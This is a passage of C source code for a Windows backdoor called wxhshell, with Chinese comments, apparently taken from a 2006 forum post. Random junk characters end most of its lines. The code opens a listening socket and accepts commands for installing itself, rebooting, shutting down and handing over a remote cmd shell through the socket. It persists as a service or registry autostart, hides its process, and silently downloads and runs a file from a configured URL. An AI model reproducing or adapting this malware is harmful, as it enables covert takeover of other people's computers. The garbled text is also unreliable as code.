AMbKN2h1f  
    switch(cmd[0]) { DMF?5GX  
  J[ e}  
  // 帮助 PD6MyW05%9  
  case '?': { T;i?w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |-~b$nUe  
    break; i{o#3  
  } [J a)<!]<  
  // 安装 _1I K$gb[  
  case 'i': { @%6)^]m}r  
    if(Install()) cC^W2\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9@:BK;Fi  
    else QCeMKjCmY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H@K#|A=a  
    break; P@qMJ}<j  
    } 7~_{.f  
  // 卸载 d{er |$E?  
  case 'r': { Oo FgQEr@  
    if(Uninstall()) >vUB%OLyP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }5Yj  
    else # v{Y=$L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T"n{WmVQ  
    break; yC0C`oC  
    } JZ`>|<W  
  // 显示 wxhshell 所在路径 8O,? |c=>  
  case 'p': { ^'m\D;  
    char svExeFile[MAX_PATH]; *6:v}#b[  
    strcpy(svExeFile,"\n\r"); ^#]c0  
      strcat(svExeFile,ExeFile); ?nQ_w0j  
        send(wsh,svExeFile,strlen(svExeFile),0); _b>F#nD,'%  
    break; ):e+dt  
    } ,Z^Ca15z  
  // 重启 2zz,(RA  
  case 'b': { j:7* 3@f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9lKn% |=T  
    if(Boot(REBOOT)) dVa!.q_3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DhZ:#mM{  
    else { e"]"F{Q  
    closesocket(wsh); Eu|sWdmf l  
    ExitThread(0); TI}}1ScA'  
    } {S G*  
    break; Sa L"!uAk  
    } +}P%HH]E/p  
  // 关机 <"<Mbbp  
  case 'd': { 85'nXYN{d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y=r!2u6r~  
    if(Boot(SHUTDOWN)) *RBV'b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )D;*DUtMVm  
    else { ~e{H#*f&1/  
    closesocket(wsh); Rq) 0i}F  
    ExitThread(0); d^PD#&"g  
    } T'E ] i!$  
    break; 2+z1h^)W  
    } )B6# A0  
  // 获取shell uS~#4;R   
  case 's': { 4CLsY n?  
    CmdShell(wsh); n=q=zn;  
    closesocket(wsh); 7AFE-'S  
    ExitThread(0); hi!`9k  
    break; %dc3z"u  
  } .;9jdGBf  
  // 退出 *.oKI@  
  case 'x': { ~/2g)IS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {;*}WPYb  
    CloseIt(wsh); ]bm=LA  
    break; "f4<B-9<$  
    } 5y]io Jc9-  
  // 离开 >-M ]:=L  
  case 'q': { #b'N}2'p#V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %,/lqcFo  
    closesocket(wsh); $_sYfU9  
    WSACleanup(); jo}1u_OJ  
    exit(1); -ey)J +?t  
    break; TjxA#D)   
        } L1sqU-gt  
  } $/+so;KD  
  } %#u.J  
l;OYUq~F  
  // 提示信息 [>f]@>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6gnbkpYi  
} Z0$] tS  
  } Z0-ytODI I  
&R,9+c  
  return; >)NQH9'1  
} eX"''PA  
eJHp6)2  
// shell模块句柄 3+ =I;nj  
int CmdShell(SOCKET sock) mk%b9Ko<F  
{ f8=]oa]  
STARTUPINFO si; 6W&_2a7*  
ZeroMemory(&si,sizeof(si)); ?1peF47Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oaK.kOo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JE hm1T  
PROCESS_INFORMATION ProcessInfo; ,X68xk.'  
char cmdline[]="cmd"; eCWPhB 6l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e`iEy=W  
  return 0; :lgi>^  
} Ow@v"L;jF!  
)1lu=gc  
// 自身启动模式 z C=a3  
int StartFromService(void) ^ q?1U?4  
{ ^/toz).Q  
typedef struct UX2lPgKdLz  
{ hJ f2o  
  DWORD ExitStatus; E =AVrv5T  
  DWORD PebBaseAddress; jZd}O C<  
  DWORD AffinityMask; n *<v]1  
  DWORD BasePriority;  Qqc]aVRF  
  ULONG UniqueProcessId; ^2S# Uk  
  ULONG InheritedFromUniqueProcessId; RNWX.g)b  
}   PROCESS_BASIC_INFORMATION; b*EXIzQ  
_'!kuE,*1  
PROCNTQSIP NtQueryInformationProcess; GS;%zdH~  
x GH1epf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )*|(i]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8md*wEjk  
&^!h}D%T/  
  HANDLE             hProcess; 8AL\ST51x"  
  PROCESS_BASIC_INFORMATION pbi; 6ZOy&fd,Ty  
1$pb (OK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6o=G8y  
  if(NULL == hInst ) return 0; gl8Ib<{  
Q`ME@vz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S_ b/DO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xj@+{uvQB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `)K y0&?  
p=Y>i 'CG  
  if (!NtQueryInformationProcess) return 0; ;b0NGa(k  
7 ^$;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <+v{GF#R  
  if(!hProcess) return 0; o&SSv W  
pf&ag#nr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t Rm+?  
-Q"hZ9  
  CloseHandle(hProcess); j}f[W [2  
HC*?DJ,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RLVAT M5  
if(hProcess==NULL) return 0; lG:kAtx4  
,<` )>2 'o  
HMODULE hMod; )OP){/   
char procName[255]; 8e&p\%1  
unsigned long cbNeeded; S,{tV=&m]  
s{}]D{bc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @Jn!0Y1_3  
7TX2&kMoc  
  CloseHandle(hProcess); xZ.!d.rn  
Bp?  
if(strstr(procName,"services")) return 1; // 以服务启动 &7>zURv  
56}X/u  
  return 0; // 注册表启动 h8{(KRa6  
} 33Az$GXFsq  
2C=Q8ayvX  
// 主模块 @'6"7g  
int StartWxhshell(LPSTR lpCmdLine) #7G*GbKY  
{ nw6pV%  
  SOCKET wsl; =9wy/c$  
BOOL val=TRUE; r^fe4b  
  int port=0; l \OLyQ  
  struct sockaddr_in door; KP]"P*? ?  
0~Gle:  
  if(wscfg.ws_autoins) Install(); "i^ GmVn  
ravyiO L  
port=atoi(lpCmdLine); aZS7sV28  
A8r^)QJP{  
if(port<=0) port=wscfg.ws_port; /F)H\*  
:-T*gqj|  
  WSADATA data; -NJ!g/ >mM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JRaq!/[(  
YHXLv#8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nz]&a1"&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i)a%!1Ar  
  door.sin_family = AF_INET; i3$$,W!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fyknP)21I  
  door.sin_port = htons(port); L gk   
EgjR^A1W2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XvTCK>1  
closesocket(wsl); hX:"QXx  
return 1; \ 0W!4D  
} 3SttHu0X  
c9"r6j2m5  
  if(listen(wsl,2) == INVALID_SOCKET) { ;&b.T}Nf06  
closesocket(wsl); Q\ppfc{,  
return 1; OHv!  
} <ABX0U[*  
  Wxhshell(wsl); Ifc]K?  
  WSACleanup(); saf&dd  
2,q}N q  
return 0; yLE7>48  
w>; L{  
} W-Hoyn>?2  
co8"sz0(U  
// 以NT服务方式启动 ').}Nz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tBbOY}.VD  
{ yw-8#y  
DWORD   status = 0; >Gml4vGK  
  DWORD   specificError = 0xfffffff; %QmxA 7fW  
W,5Hx1z R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DyJ.BQdk)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AlE8Xu9UB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <EO$]>;0  
  serviceStatus.dwWin32ExitCode     = 0; dO> VwP  
  serviceStatus.dwServiceSpecificExitCode = 0; a' Ki;]q  
  serviceStatus.dwCheckPoint       = 0; a8k;(/  
  serviceStatus.dwWaitHint       = 0; ~}EMk3  
\wcam`f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .IBp\7W!?E  
  if (hServiceStatusHandle==0) return; 'rp }G&m  
b V+(b9  
status = GetLastError(); >@xrs  
  if (status!=NO_ERROR) &Mq~T_S  
{ \>LnLH(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L!0OC''C  
    serviceStatus.dwCheckPoint       = 0; ULrr=5&8  
    serviceStatus.dwWaitHint       = 0; t7 n(Qkrv  
    serviceStatus.dwWin32ExitCode     = status; Q 1d'~e  
    serviceStatus.dwServiceSpecificExitCode = specificError; '.Ed`?<p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NX`*%K  
    return; o1W:ox?kO  
  } J%09^5:-z  
X+L) -d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @AHm!9?o  
  serviceStatus.dwCheckPoint       = 0; U$]|~41#  
  serviceStatus.dwWaitHint       = 0; 9{k97D/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^k5ll=}  
} )'17r82a  
<h%O?mkC  
// 处理NT服务事件,比如:启动、停止 N{ Z  H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3.22"U\1:  
{ 61puqiGG^  
switch(fdwControl) ::Ke ^dp  
{ {~!q`Dr3?q  
case SERVICE_CONTROL_STOP: {^(ACS9mL  
  serviceStatus.dwWin32ExitCode = 0; ?0? R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q_* "SRz  
  serviceStatus.dwCheckPoint   = 0; S5~VD?O,  
  serviceStatus.dwWaitHint     = 0; HEA#bd\  
  { ,@1p$n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A+6 n#  
  } \drqG&wl  
  return; (py]LBZ  
case SERVICE_CONTROL_PAUSE: @1*ohdHH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +fvaUV_-  
  break; FZ!`B]]le,  
case SERVICE_CONTROL_CONTINUE: yjfat&$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bM8If"  
  break; mPI8_5V8]  
case SERVICE_CONTROL_INTERROGATE: S*j6OwZ  
  break; IDnC<MO>  
}; 'smWLz}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >e\9Bf_  
} 3a.kBzus  
:Y9NLbv  
// 标准应用程序主函数 NR;1z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ml\4xp,  
{ G}&Sle]  
tOfg?)h{dc  
// 获取操作系统版本 \j&^aAp r  
OsIsNt=GetOsVer(); UnI 48Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7AYd!n&S  
$O9^SB  
  // 从命令行安装 Fx-8M!  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9U$EJN_G  
^G6RjJxqp8  
  // 下载执行文件 vAyFmdJ^  
if(wscfg.ws_downexe) { (aD_zG=k5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5:'hj$~|\1  
  WinExec(wscfg.ws_filenam,SW_HIDE); B}PIRk@a1  
} 8\{^|y9-  
X]P:CY  
if(!OsIsNt) { 0eK*9S]  
// 如果时win9x,隐藏进程并且设置为注册表启动 W 4F\}A  
HideProc(); k0T?-iM  
StartWxhshell(lpCmdLine); )M)7"PC  
} cA%%IL$R  
else ]`Oo%$Ue  
  if(StartFromService()) rn<PR*  
  // 以服务方式启动 #1>X58I^  
  StartServiceCtrlDispatcher(DispatchTable); 3B1cb[2y  
else >JiltF7H0  
  // 普通方式启动 sQMFpIrr  
  StartWxhshell(lpCmdLine); DGzw8|/(  
,"B+r6}EF  
return 0; HttiX/2~  
}
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只看该作者 1 发表于: 2006-10-10
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